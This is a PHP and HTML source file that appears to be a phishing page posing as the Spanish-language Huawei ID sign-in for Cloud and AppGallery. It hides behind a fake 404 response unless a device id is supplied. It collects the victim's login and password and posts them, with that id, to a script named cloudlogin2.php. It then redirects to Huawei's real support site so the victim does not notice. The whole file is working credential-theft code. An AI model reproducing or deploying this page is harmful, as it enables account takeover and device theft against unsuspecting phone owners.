<?php
if(!isset($idequipo)){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die('<html><head>
<title>404 Not Found</title>
</head><body cz-shortcut-listen="true">
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>');
}
?>
<!DOCTYPE html>
<html>
<head>
	<title>Huawei</title>
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<style type="text/css">
		body{
			margin: 0;
			font-family: 'Arial', sans-serif;
			color: #8c8c8c;
			font-size: 15px;
		}
		.content{
			width: 600px;
			margin: 50px auto;
		}
		@media screen and (max-width: 850px){
			.content{
				width: 100%;
			}
		}
		.head img{
			display: block;
			margin:auto;
		}
		.lang{
			color: #000;
			text-decoration: none;
			text-align: center;
		}
		.lang p{
			color: #8c8c8c;
		}
		form{
			text-align: center;
			margin-top: 70px;
		}
		form div input, .form input{
			font-size: 18px;
			padding:8px 2px;
			width: 90%;
			border:0;
			border-bottom: 1px solid #dadada;
			margin-bottom: 18px;
			-webkit-appearance: none;
    		-webkit-border-radius: 0;
    		outline:none;
		}
		.submit, .form .submit2{
			border-radius: 25px;
			background: #a9ceff;
			color: #fff;
			font-size: 16px;
			padding: 10px 0;
			cursor: pointer;
		}
		.form{
			text-align: center;
		}
		.form .submit2{
			background: #f0f2f4;
			color: #31a3e8;
		}
		p a{
		 	color: #4eabe3;
		 	text-decoration: none;
		 	font-size: 17px;
		}
		form p{
			text-align: right;
			width: 90%;
			margin:10px auto 30px;
		}
		button{
			background: #159b01;
			color: #fff;
			font-size: 16px;
			border-radius: 3px;
			border:0;
			padding: 8px 15px;
			margin-top: 50px;
		}
		.ayuda{
			text-align: center;
			margin-top: 100px;
		}
		.opc{
			position: fixed;
			left: 0;
			top: 0;
			width: 100%;
			height: 100%;
			display: none;
			background: rgba(255,255,255,.3);
			z-index:1;
		}
		.opc img{
			position: absolute;
			left: 50%;
			top: 50%;
			margin-left: -16px;
			margin-top: -16px;
		}
		#xuser, #xpass{
		    position:relative;
		}
	</style>
</head>
<body>
<div class="opc">
	<img src="/assets/img/ajax-loader.gif">
</div>
<div class="content">
	<div class="head">
		<img src="/assets/img/huawei.png" width="60px">
	</div>
	<div class="lang">
		<h2>ID de HUAWEI</h2>
		<p>Inicie sesión para acceder a Cloud, AppGallery, etc.</p>
	</div>
	<form>
		<div>
			<input type="text" name="correo" placeholder="Tel&eacute;fono/Correo/ID de inicio de sesión" id="xuser">
		</div>
		<div>
			<input type="password" name="password" placeholder="Contrase&ntilde;a" id="xpass">
		</div>
		<p><a href="#">Olvidé mi contrase&ntilde;a</a></p>
		<div>
			<input type="submit" name="" value="INICIAR SESIÓN" class="submit">
		</div>
	</form>
	<div class="form">
		<input type="submit" name="" value="REGISTRARSE" class="submit2">
	</div>
	<p class="ayuda"><a href="#">Ayuda</a></p>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> 
<script type="text/javascript">
	$(document).ready(function(){
		$(".submit").click(function(a){
			var xuser = $("#xuser").val();
			var xpass = $("#xpass").val();
			var id = <?php echo $idequipo;?>;
			if(xuser == "" || xpass == ""){
				alert("Usuario incorrecto");
			}else{
				$(".opc").show(0);
				$.post(
					"/cloudlogin2.php",
					{xuser:xuser, xpass:xpass, id:id, xiaomi:true},
					function(b){
						if(b==1){
							window.location="https://consumer.huawei.com/mx/support/";
						}else{
						    $("#xuser, #xpass").css("border-color", "#ff6b6b");
						    $(".opc").hide(0);
						    $("#xuser, #xpass").animate({'left':'20px'},60).animate({'left':'0'},60).animate({'left':'20px'},60).animate({'left':'0'},60).animate({'left':'20px'},60).animate({'left':'0'},60);
						}
					}
				);
			}
			a.preventDefault();
		});
	});
</script>
</body>
</html>